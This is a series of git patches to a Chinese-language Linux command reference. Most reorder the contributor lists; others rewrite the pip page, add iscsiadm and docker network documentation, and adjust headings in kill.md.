Dazhuangw YH - - Dazhuangw + + Xrtero + + + Xingwen Zhang shc @@ -132,6 +138,9 @@ oliver + + 黑&蛋 + noodles2hg @@ -177,9 +186,6 @@ ghy - - gggwvg - gesty @@ -201,9 +207,6 @@ dayday - - 黑&蛋 - Panthea Johnson @@ -288,8 +291,8 @@ snovey - - Rocher + + cxalc Robigus @@ -372,9 +375,6 @@ Alan - - cxalc - Forever121 @@ -444,9 +444,6 @@ Azolla - - Shan Chenyu - SevenSteven @@ -455,6 +452,9 @@ 殇 + + + Rocher

From b351889e2712bb1e3601d4d8fbe1d5f465d17d40 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 16 Jan 2024 11:09:29 +0000 Subject: [PATCH 285/570] doc: update README.md. --- README.md | 40 ++++++++++++++++++++-------------------- 1 file changed, 20 insertions(+), 20 deletions(-) diff --git a/README.md b/README.md index 92ee465465b..d1c94fdd8f2 100644 --- a/README.md +++ b/README.md @@ -387,20 +387,23 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 clay-wangzhi - - 烟草的香味 + + Glett 项金 - - Glett + + 烟草的香味 + + + Jayin Tang 丛林意志 - - Jayin Tang + + Zijing Zhang Fubin Zhang @@ -408,9 +411,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 __FresHmaN - - Zijing Zhang - ernest @@ -429,9 +429,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 lavaicer - - Shan Chenyu - SteveLauC @@ -489,9 +486,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xingwen Zhang - - shc - sfwwslm @@ -501,12 +495,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 oliver - - 黑&蛋 - noodles2hg + + shc + myliwenbo @@ -570,6 +564,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday + + Rocher + + + 黑&蛋 + Panthea Johnson @@ -654,8 +654,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - cxalc + + Robigus Robigus From 26abc181dfb3cc54d0a61ce8fdc241dba90591a0 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 16 Jan 2024 11:09:30 +0000 Subject: [PATCH 286/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 40 +++++++++++++++++++-------------------- 1 file changed, 20 insertions(+), 20 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 54fd4ad6f4f..8890a24a4f6 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -24,20 +24,23 @@ clay-wangzhi - - 烟草的香味 + + Glett 项金 - - Glett + + 烟草的香味 + + + Jayin Tang 丛林意志 - - Jayin Tang + + Zijing Zhang Fubin Zhang @@ -45,9 +48,6 @@ __FresHmaN - - Zijing Zhang - ernest @@ -66,9 +66,6 @@ lavaicer - - Shan Chenyu - SteveLauC @@ -126,9 +123,6 @@ Xingwen Zhang - - shc - sfwwslm @@ -138,12 +132,12 @@ oliver - - 黑&蛋 - noodles2hg + + shc + myliwenbo @@ -207,6 +201,12 @@ dayday + + Rocher + + + 黑&蛋 + Panthea Johnson @@ -291,8 +291,8 @@ snovey - - cxalc + + Robigus Robigus From aecf818c55aa9e6245d849d7d59f1148874e4de8 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 16 Jan 2024 19:17:35 +0800 Subject: [PATCH 287/570] doc: update command/pip.md #556 --- command/pip.md | 141 ++++++++++++++++++++++++++++--------------------- 1 file changed, 82 insertions(+), 59 deletions(-) diff --git a/command/pip.md b/command/pip.md index 281c0b5f335..a2157fb7582 100644 --- a/command/pip.md +++ b/command/pip.md @@ -1,64 +1,72 @@ pip === -Python的库管理工具。 - - -``` -用法： - pip <命令> [选项] - -命令： - install 安装包。 - download 下载包。 - uninstall 卸载包。 - freeze 以requirements格式输出已安装的包。 - inspect 检查 Python 环境。 - list 列出已安装的包。 - show 显示有关已安装包的信息。 - check 验证已安装的包是否具有兼容的依赖关系。 - config 管理本地和全局配置。 - search 在 PyPI 搜索包。 - cache 检查和管理 pip 的wheel缓存。 - index 检查从软件包索引中获取的信息。 - wheel 从你的要求构建wheels。 - hash 计算包存档的哈希值。 - completion 用于命令完成的辅助命令。 - debug 显示用于调试的有用信息。 - help 显示命令的帮助信息。 - -通用选项： - -h, --help 显示帮助。 - --debug 允许未处理的异常传播到主要子例程之外，而不是将其记录到stderr。 - --isolated 在隔离模式下运行 pip，忽略环境变量和用户配置。 - --require-virtualenv 允许 pip 仅在虚拟环境中运行；否则退出并显示错误。 - --python 使用指定的 Python 解释器运行 pip。 - -v, --verbose 提供更多输出。该选项是可叠加的，最多可使用3次。 - -V, --version 显示版本并退出。 - -q, --quiet 提供更少的输出。该选项是可叠加的，最多可使用3次（对应 WARNING、ERROR 和 CRITICAL 日志级别）。 - --log 要附加日志的路径。 - --no-input 禁用输入提示。 - --keyring-provider - 如果允许用户输入，则启用通过 keyring 库进行凭据查找。指定要使用的机制[disabled, import, subprocess]。（默认: disabled） - --proxy 指定代理，格式为 scheme://[user:passwd@]proxy.server:port。 - --retries 每个连接应尝试的最大次数（默认5次）。 - --timeout 设置套接字超时（默认15秒）。 - --exists-action 当路径已经存在时的默认操作：(s)切换，(i)忽略，(w)擦除，(b)备份，(a)中止。 - --trusted-host 将此主机或主机:端口对标记为可信，即使它没有有效或任何 HTTPS。 - --cert PEM编码的CA证书包的路径。如果提供，将覆盖默认值。有关更多信息，请参阅 pip 文档中的 'SSL证书验证'。 - --client-cert SSL客户端证书的路径，一个包含私钥和PEM格式的证书的单个文件。 - --cache-dir

在 中存储缓存数据。 - --no-cache-dir 禁用缓存。 - --disable-pip-version-check - 不定期检查 PyPI 是否有可下载的 pip 新版本。与 --no-index 隐含。 - --no-color 抑制有色输出。 - --no-python-version-warning - 对即将不受支持的 Python 沉默弃用警告。 - --use-feature 启用可能不向后兼容的新功能。 - --use-deprecated 启用在将来将被删除的已弃用功能。 -``` - -## 安装 +Python 编程语言中的包管理器，用于安装和管理第三方 Python 模块 + +## 语法 + +```bash +pip <命令> [选项] +``` + +## 选项 + +命令 + +```bash +install 安装包。 +download 下载包。 +uninstall 卸载包。 +freeze 以requirements格式输出已安装的包。 +inspect 检查 Python 环境。 +list 列出已安装的包。 +show 显示有关已安装包的信息。 +check 验证已安装的包是否具有兼容的依赖关系。 +config 管理本地和全局配置。 +search 在 PyPI 搜索包。 +cache 检查和管理 pip 的wheel缓存。 +index 检查从软件包索引中获取的信息。 +wheel 从你的要求构建wheels。 +hash 计算包存档的哈希值。 +completion 用于命令完成的辅助命令。 +debug 显示用于调试的有用信息。 +help 显示命令的帮助信息。 +``` + +通用选项 + +```bash +-h, --help 显示帮助。 +--debug 允许未处理的异常传播到主要子例程之外，而不是将其记录到stderr。 +--isolated 在隔离模式下运行 pip，忽略环境变量和用户配置。 +--require-virtualenv 允许 pip 仅在虚拟环境中运行；否则退出并显示错误。 +--python 使用指定的 Python 解释器运行 pip。 +-v, --verbose 提供更多输出。该选项是可叠加的，最多可使用3次。 +-V, --version 显示版本并退出。 +-q, --quiet 提供更少的输出。该选项是可叠加的，最多可使用3次（对应 WARNING、ERROR 和 CRITICAL 日志级别）。 +--log 要附加日志的路径。 +--no-input 禁用输入提示。 +--keyring-provider + 如果允许用户输入，则启用通过 keyring 库进行凭据查找。指定要使用的机制[disabled, import, subprocess]。（默认: disabled） +--proxy 指定代理，格式为 scheme://[user:passwd@]proxy.server:port。 +--retries 每个连接应尝试的最大次数（默认5次）。 +--timeout 设置套接字超时（默认15秒）。 +--exists-action 当路径已经存在时的默认操作：(s)切换，(i)忽略，(w)擦除，(b)备份，(a)中止。 +--trusted-host 将此主机或主机:端口对标记为可信，即使它没有有效或任何 HTTPS。 +--cert PEM编码的CA证书包的路径。如果提供，将覆盖默认值。有关更多信息，请参阅 pip 文档中的 'SSL证书验证'。 +--client-cert SSL客户端证书的路径，一个包含私钥和PEM格式的证书的单个文件。 +--cache-dir 在 中存储缓存数据。 +--no-cache-dir 禁用缓存。 +--disable-pip-version-check + 不定期检查 PyPI 是否有可下载的 pip 新版本。与 --no-index 隐含。 +--no-color 抑制有色输出。 +--no-python-version-warning + 对即将不受支持的 Python 沉默弃用警告。 +--use-feature 启用可能不向后兼容的新功能。 +--use-deprecated 启用在将来将被删除的已弃用功能。 +``` + +### 安装 Pip 是 Python 的包管理工具，通常随着 Python 的安装一起安装。确保你的 Python 版本是 3.4 或更高版本。 @@ -66,16 +74,30 @@ Pip 是 Python 的包管理工具，通常随着 Python 的安装一起安装。 # Ubuntu系统 sudo apt install python3-pip ``` -```badh + +```bash # CentOS sudo yum install python3-pip ``` + 如果需要更新 Pip，可以运行以下命令： ```bash python -m pip install --upgrade pip ``` +检查 `pip` 是否已安装 + +```bash +pip --version +``` + +确保您使用的是最新版本的 `pip`，您可以运行以下命令来**升级** + +```bash +python -m pip install --upgrade pip +``` + ## 安装包 通过 Pip 安装 Python 包非常简单。使用以下命令： @@ -155,4 +177,5 @@ pip install git+https://github.com/user/repo.git 以上是一些常用的 Pip 命令，希望这个简要教程能够帮助你更好地使用 Python 包管理工具。 ## 官网 + 更多安装使用方法可以访问官网学习：[https://pypi.org/project/pip/](https://pypi.org/project/pip/) From 985fb037f1bcdc79b9c0966f5c8072333b18705d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 16 Jan 2024 11:18:14 +0000 Subject: [PATCH 288/570] doc: update README.md. --- README.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index d1c94fdd8f2..e7fae63a217 100644 --- a/README.md +++ b/README.md @@ -657,9 +657,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Robigus - - Robigus - Rining Wu @@ -738,6 +735,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Alan + + cxalc + Forever121 @@ -807,6 +807,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Azolla + + Shan Chenyu + SevenSteven @@ -815,9 +818,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 殇 - - - Rocher 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From a655e4a432e9ab4b7348bcdee8edb57c29ebc015 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 16 Jan 2024 11:18:15 +0000 Subject: [PATCH 289/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 8890a24a4f6..ca18d626239 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -294,9 +294,6 @@ Robigus - - Robigus - Rining Wu @@ -375,6 +372,9 @@ Alan + + cxalc + Forever121 @@ -444,6 +444,9 @@ Azolla + + Shan Chenyu + SevenSteven @@ -452,9 +455,6 @@ 殇 - - - Rocher

From 75def39e1335a04782e9f2e3047dbb7e4e758ba3 Mon Sep 17 00:00:00 2001 From: Azroy <73465351+Azroys@users.noreply.github.com> Date: Tue, 23 Jan 2024 19:35:43 +0800 Subject: [PATCH 290/570] feat: add `iscsiadm` (#558) --- command/iscsiadm | 98 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 command/iscsiadm diff --git a/command/iscsiadm b/command/iscsiadm new file mode 100644 index 00000000000..e76471cafab --- /dev/null +++ b/command/iscsiadm @@ -0,0 +1,98 @@ +iscsiadm +=== + +管理iSCSI连接 + +## 补充说明 + +**iscsiadm命令** 用于管理 iSCSI（Internet Small Computer System Interface）存储连接。iSCSI 是一种基于网络的存储协议，允许在计算机之间传输块级别的数据。iscsiadm 命令提供了与 iSCSI 存储设备进行连接、配置和管理的功能。 +```shell +yum install iscsi-initiator-utils #安装iscsiadm +/etc/iscsi/initiatorname.iscsi #iscsi启动器名称配置文件位置 +systemctl enable iscsi #设置服务开机启动 +systemctl enable iscsid +systemctl restart iscsi #重启iscsi服务 +systemctl restart iscsid +``` + +### 语法 + +```shell +iscsiadm [选项] <命令> <参数> +``` + +### 选项 + +```shell +-m，--mode # <模式> 指定工作模式，如discovery（发现模式）、node（管理节点）、session（管理会话）、discoverydb、host、iface（管理 iSCSI 网络接口）； +-t，--type # 指定类型，如sendtargets (或st)、isns、fw，仅用于discovery模式； +-T，--targetname # 指定目标名称，仅用于node模式； +-p，--portal # 指定目标IP,不带端口默认使用3260，仅用于discovery、node模式； +-l，--login # 登录一个iSCSI设备，仅用于discovery、node模式； +-u，--logout # 退出一个iSCSI设备，仅用于node、session模式； +-I，--interface # 指定用于iSCSI操作的网络接口； +-P，--print # <0-4> 打印详细，用于discovery、node、session模式； +-s，--stats # 查看会话状态 +-h，--help # 显示帮助； +-V，--version # 显示版本信息。 +``` + +### 实例 + +发送iSCSI发现请求，并列出发现的iSCSI设备目标器： + +```shell +[root@Azroy-s1 ~]# iscsiadm -m discovery -t st -p 10.10.10.10 +10.10.10.10:3260,1 iqn.2000-01.com.synology:NAS.default-target.1 +``` + +登录到发现的iSCSI目标器： + +```shell +[root@Azroy-s1 ~]# iscsiadm -m node -T iqn.2000-01.com.synology:NAS.target.1 -p 10.10.10.10 -l +Logging in to [iface: default, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] (multiple) +Login to [iface: default, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] successful. +``` + +查看已登录的设备： + +```shell +[root@Azroy-s1 ~]# iscsiadm -m session +tcp: [3] 10.10.10.10:3260,1 iqn.2000-01.com.synology:NAS.target.1 (non-flash) +``` + +退出已登录的设备： + +```shell +[root@Azroy-s1 ~]# iscsiadm -m node -T iqn.2000-01.com.synology:NAS.target.1 -p 10.10.10.10 -u +Logging out of session [sid: 11, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] +或 +[root@Azroy-s1 ~]# iscsiadm -m session -u #退出所有iscsi会话 +``` + +使用lsblk或fdisk查看硬盘，对硬盘分区再格式化后可挂载目录 + +```shell +[root@Azroy-s1 ~]# lsblk +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT +sda 8:0 0 1.8T 0 disk +├─sda1 8:1 0 1G 0 part /boot +└─sda2 8:2 0 1.8T 0 part + ├─centos-root 253:0 0 1.8T 0 lvm / + └─centos-swap 253:1 0 5.9G 0 lvm [SWAP] +sdb 8:32 0 10G 0 disk + +[root@Azroy-s1 ~]# lsblk -S /dev/sd* #可以查看硬盘传输类型 +NAME HCTL TYPE VENDOR MODEL REV TRAN +sda 0:1:0:0 disk HP LOGICAL VOLUME 3.00 sas +sdb 12:0:0:1 disk SYNOLOGY Storage 4.0 iscsi + +[root@Azroy-s1 ~]# fdisk -l /dev/sdb +磁盘 /dev/sdb：10.7 GB, 10737418240 字节，20971520 个扇区 +Units = 扇区 of 1 * 512 = 512 bytes +扇区大小(逻辑/物理)：512 字节 / 512 字节 +I/O 大小(最小/最佳)：512 字节 / 512 字节 +``` + + + From a58b859a4651bb4fd6cea8b08d9e737e4005975b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Jan 2024 11:36:26 +0000 Subject: [PATCH 291/570] doc: update README.md. --- README.md | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/README.md b/README.md index e7fae63a217..5d798ffb701 100644 --- a/README.md +++ b/README.md @@ -459,6 +459,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 wVVaTT + + gggwvg + BingCoke @@ -471,9 +474,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 RichardLCD - - gggwvg - Dazhuangw @@ -486,6 +486,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xingwen Zhang + + Shan Chenyu + + + shc + sfwwslm @@ -495,12 +501,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 oliver + + 黑&蛋 + noodles2hg - - shc - myliwenbo @@ -564,12 +570,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday - - Rocher - - - 黑&蛋 - Panthea Johnson @@ -654,6 +654,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey + + cxalc + Robigus @@ -735,9 +738,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Alan - - cxalc - Forever121 @@ -807,9 +807,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Azolla - - Shan Chenyu - SevenSteven @@ -818,6 +815,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 殇 + + + Rocher 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From fb3ad5ed6d6890421db85ca1c66e4637197a6978 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Jan 2024 11:36:26 +0000 Subject: [PATCH 292/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index ca18d626239..50e94aeec70 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -96,6 +96,9 @@ wVVaTT + + gggwvg + BingCoke @@ -108,9 +111,6 @@ RichardLCD - - gggwvg - Dazhuangw @@ -123,6 +123,12 @@ Xingwen Zhang + + Shan Chenyu + + + shc + sfwwslm @@ -132,12 +138,12 @@ oliver + + 黑&蛋 + noodles2hg - - shc - myliwenbo @@ -201,12 +207,6 @@ dayday - - Rocher - - - 黑&蛋 - Panthea Johnson @@ -291,6 +291,9 @@ snovey + + cxalc + Robigus @@ -372,9 +375,6 @@ Alan - - cxalc - Forever121 @@ -444,9 +444,6 @@ Azolla - - Shan Chenyu - SevenSteven @@ -455,6 +452,9 @@ 殇 + + + Rocher

From e45c112315c5fededfc10e3a824208f4117485ee Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 23 Jan 2024 19:45:08 +0800 Subject: [PATCH 293/570] fix: renmae iscsiadm file name. #558 --- command/{iscsiadm => iscsiadm.md} | 6 +++--- command/kill.md | 1 + 2 files changed, 4 insertions(+), 3 deletions(-) rename command/{iscsiadm => iscsiadm.md} (99%) diff --git a/command/iscsiadm b/command/iscsiadm.md similarity index 99% rename from command/iscsiadm rename to command/iscsiadm.md index e76471cafab..642674f8b8f 100644 --- a/command/iscsiadm +++ b/command/iscsiadm.md @@ -15,13 +15,13 @@ systemctl restart iscsi #重启iscsi服务 systemctl restart iscsid ``` -### 语法 +## 语法 ```shell iscsiadm [选项] <命令> <参数> ``` -### 选项 +## 选项 ```shell -m，--mode # <模式> 指定工作模式，如discovery（发现模式）、node（管理节点）、session（管理会话）、discoverydb、host、iface（管理 iSCSI 网络接口）； @@ -37,7 +37,7 @@ iscsiadm [选项] <命令> <参数> -V，--version # 显示版本信息。 ``` -### 实例 +## 实例 发送iSCSI发现请求，并列出发现的iSCSI设备目标器： diff --git a/command/kill.md b/command/kill.md index 6ed87ecc371..851b28c7767 100644 --- a/command/kill.md +++ b/command/kill.md @@ -185,6 +185,7 @@ name：使用此名称调用的所有进程将接收信号。 3. 与`kill`命令类似的有`xkill`，`pkill`,`killall`等，用于不同的目的和场景。 #### 参考链接 + [发送信号到进程](https://bash.cyberciti.biz/guide/Sending_signal_to_Processes) From f437beb6b772bd0807f594c61f5582958008914a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Jan 2024 11:45:51 +0000 Subject: [PATCH 294/570] doc: update README.md. --- README.md | 41 ++++++++++++++++++++++------------------- 1 file changed, 22 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index 5d798ffb701..03a611682c9 100644 --- a/README.md +++ b/README.md @@ -438,14 +438,14 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 James Wang - - alfred + + Qliangw Wang Jianing - - Qliangw + + alfred 沙漠之子 @@ -462,14 +462,14 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 gggwvg - - BingCoke + + Pan, Wen-Ming Ein Verne - - Pan, Wen-Ming + + BingCoke RichardLCD @@ -489,9 +489,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Shan Chenyu - - shc - sfwwslm @@ -501,8 +498,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 oliver - - 黑&蛋 + + shc noodles2hg @@ -570,6 +567,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday + + Robigus + + + 黑&蛋 + Panthea Johnson @@ -654,12 +657,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - cxalc - - - Robigus - Rining Wu @@ -735,9 +732,15 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 DaYangtuo247 + + Azroy + Alan + + cxalc + Forever121 From 0d3c492a811f102b303b8c60355818713919adf3 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Jan 2024 11:45:51 +0000 Subject: [PATCH 295/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 41 +++++++++++++++++++++------------------ 1 file changed, 22 insertions(+), 19 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 50e94aeec70..d22b9c5d995 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -75,14 +75,14 @@ James Wang - - alfred + + Qliangw Wang Jianing - - Qliangw + + alfred 沙漠之子 @@ -99,14 +99,14 @@ gggwvg - - BingCoke + + Pan, Wen-Ming Ein Verne - - Pan, Wen-Ming + + BingCoke RichardLCD @@ -126,9 +126,6 @@ Shan Chenyu - - shc - sfwwslm @@ -138,8 +135,8 @@ oliver - - 黑&蛋 + + shc noodles2hg @@ -207,6 +204,12 @@ dayday + + Robigus + + + 黑&蛋 + Panthea Johnson @@ -291,12 +294,6 @@ snovey - - cxalc - - - Robigus - Rining Wu @@ -372,9 +369,15 @@ DaYangtuo247 + + Azroy + Alan + + cxalc + Forever121 From c87b83bc57963b6027410a306452e7700fdf9f44 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 23 Jan 2024 19:46:18 +0800 Subject: [PATCH 296/570] doc: update command/kill.md --- command/kill.md | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/command/kill.md b/command/kill.md index 851b28c7767..f542d66586b 100644 --- a/command/kill.md +++ b/command/kill.md @@ -10,19 +10,19 @@ kill ## 内建命令 -#### 概要 +### 概要 ```shell kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... kill -l [sigspec] ``` -#### 主要用途 +### 主要用途 - 发送信号到作业或进程（可以为多个）。 - 列出信号。 -#### 选项 +### 选项 ```shell -s sig 信号名称。 @@ -31,17 +31,17 @@ kill -l [sigspec] -L 等价于-l选项。 ``` -#### 参数 +### 参数 pid：进程ID jobspec：作业标识符 -#### 返回值 +### 返回值 返回状态为成功除非给出了非法选项、执行出现错误。 -#### 例子 +### 例子 ```shell [user2@pc] kill -l 9 @@ -110,7 +110,7 @@ STOP 19 暂停（同 Ctrl + Z） [1]+ 181537 Running sleep 90 & ``` -#### 注意 +### 注意 1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。 2. 该命令是bash内建命令，相关的帮助信息请查看`help`命令。 @@ -118,20 +118,20 @@ STOP 19 暂停（同 Ctrl + Z） ## 外部命令 -#### 概要 +### 概要 ```shell kill [-signal|-s signal|-p] [-q value] [-a] [--] pid|name... kill -l [number] | -L ``` -#### 主要用途 +### 主要用途 - 发送信号到进程（可以为多个）。 - 列出信号。 -#### 选项 +### 选项 ```shell -s, --signal signal 要发送的信号，可能是信号名称或信号对应的数字。 @@ -147,7 +147,7 @@ kill -l [number] | -L --version 显示版本信息并退出。 ``` -#### 参数 +### 参数 接收信号的进程列表可以是PID以及name的混合组成。 @@ -162,7 +162,7 @@ n | 当n大于0时，PID为n的进程接收信号。 name：使用此名称调用的所有进程将接收信号。 -#### 例子 +### 例子 ```shell > sleep 20 & @@ -172,19 +172,19 @@ name：使用此名称调用的所有进程将接收信号。 23021 ``` -#### 返回值 +### 返回值 - 0 成功。 - 1 失败。 - 64 部分成功（当指定了多个进程时）。 -#### 注意 +### 注意 1. 该命令是`GNU coreutils`包中的命令，相关的帮助信息请查看`man -s 1 kill`或`info coreutils 'kill invocation'`。 2. 启动或关闭内建命令请查看`enable`命令，关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。 3. 与`kill`命令类似的有`xkill`，`pkill`,`killall`等，用于不同的目的和场景。 -#### 参考链接 +## 参考链接 [发送信号到进程](https://bash.cyberciti.biz/guide/Sending_signal_to_Processes) From 7f87da9eed1d98fa21615ddb435327157157039c Mon Sep 17 00:00:00 2001 From: miniwater <1456441157@qq.com> Date: Tue, 30 Jan 2024 15:00:54 +0800 Subject: [PATCH 297/570] fix: rename hcitool to hcitool.md (#559) Fix file suffix exception --- command/{hcitool => hcitool.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename command/{hcitool => hcitool.md} (100%) diff --git a/command/hcitool b/command/hcitool.md similarity index 100% rename from command/hcitool rename to command/hcitool.md From aa9e85ff2d2f05163953079907cc9689a3ffe283 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 30 Jan 2024 07:01:23 +0000 Subject: [PATCH 298/570] doc: update README.md. --- README.md | 25 ++++++++++++++----------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index 03a611682c9..b7be960c454 100644 --- a/README.md +++ b/README.md @@ -438,14 +438,14 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 James Wang - - Qliangw + + alfred Wang Jianing - - alfred + + Qliangw 沙漠之子 @@ -462,14 +462,14 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 gggwvg - - Pan, Wen-Ming + + BingCoke Ein Verne - - BingCoke + + Pan, Wen-Ming RichardLCD @@ -504,6 +504,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 noodles2hg + + miniwater + myliwenbo @@ -567,9 +570,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday - - Robigus - 黑&蛋 @@ -657,6 +657,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey + + Robigus + Rining Wu From a2f8efe17a107171d499cac3c2a801acc09a404a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 30 Jan 2024 07:01:23 +0000 Subject: [PATCH 299/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 25 ++++++++++++++----------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index d22b9c5d995..ff0d5f0b06c 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -75,14 +75,14 @@ James Wang - - Qliangw + + alfred Wang Jianing - - alfred + + Qliangw 沙漠之子 @@ -99,14 +99,14 @@ gggwvg - - Pan, Wen-Ming + + BingCoke Ein Verne - - BingCoke + + Pan, Wen-Ming RichardLCD @@ -141,6 +141,9 @@ noodles2hg + + miniwater + myliwenbo @@ -204,9 +207,6 @@ dayday - - Robigus - 黑&蛋 @@ -294,6 +294,9 @@ snovey + + Robigus + Rining Wu From aff91bcaf8343a33dfc9df15eaeb30fb63c05eb6 Mon Sep 17 00:00:00 2001 From: alterem Date: Fri, 23 Feb 2024 13:54:05 +0800 Subject: [PATCH 300/570] doc: update command/docker.md (#563) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Update docker.md docker 添加 docker network --- command/docker.md | 118 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 118 insertions(+) diff --git a/command/docker.md b/command/docker.md index 33928bea0d2..7245dff9fde 100644 --- a/command/docker.md +++ b/command/docker.md @@ -217,6 +217,124 @@ docker push user/image ``` +## docker network +## 语法 + +``` +docker network [COMMAND] +``` + +## COMMAND + +### docker network connect +将容器连接到网络。您可以按名称或ID连接容器。连接后，容器可以与同一网络中的其他容器通信。 + +```shell +docker network connect [OPTIONS] NETWORK CONTAINER +``` + +#### 选项参数 + +```shell +--alias 为容器添加网络范围的别名 +--driver-opt 网络的驱动程序选项 +--ip IPv4地址（例如172.30.100.104） +--ip6 IPv6地址（例如2001：db8 :: 33） +--link 将链接添加到另一个容器(建议不用,后期应该会删除的) +--link-local-ip 为容器添加本地链接地址 +``` + +### docker network disconnect +断开容器与网络的连接 + +```shell +docker network disconnect [OPTIONS] NETWORK CONTAINER +``` + +#### 选项参数 + +```shell +-f,--force 强制容器断开网络连接 +``` + +### docker network create +创建一个新的网络 + +```shell +docker network create [OPTIONS] NETWORK +``` + +#### 选项参数 + +```shell +--attachable API 1.25+启用手动容器附件 +--aux-address 网络驱动程序使用的辅助IPv4或IPv6地址 +--config-from API 1.30+从中复制配置的网络 +--config-only API 1.30+创建仅配置网络 +-d,--driver bridge 驱动程序来管理网络 +--gateway 主子网的IPv4或IPv6网关 +--ingress API 1.29+创建群集路由网状网络 +--internal 限制外部访问网络 +--ip-range 从子范围分配容器ip +--ipam-driver IP地址管理驱动程序 +--ipam-opt 设置IPAM驱动程序特定选项 +--ipv6 启用IPv6网络 +--label 在网络上设置元数据 +-o,--opt 设置驱动程序特定选项 +--scope API 1.30+控制网络范围 +--subnet 代表网段的CIDR格式的子网 +``` + +### docker network inspect 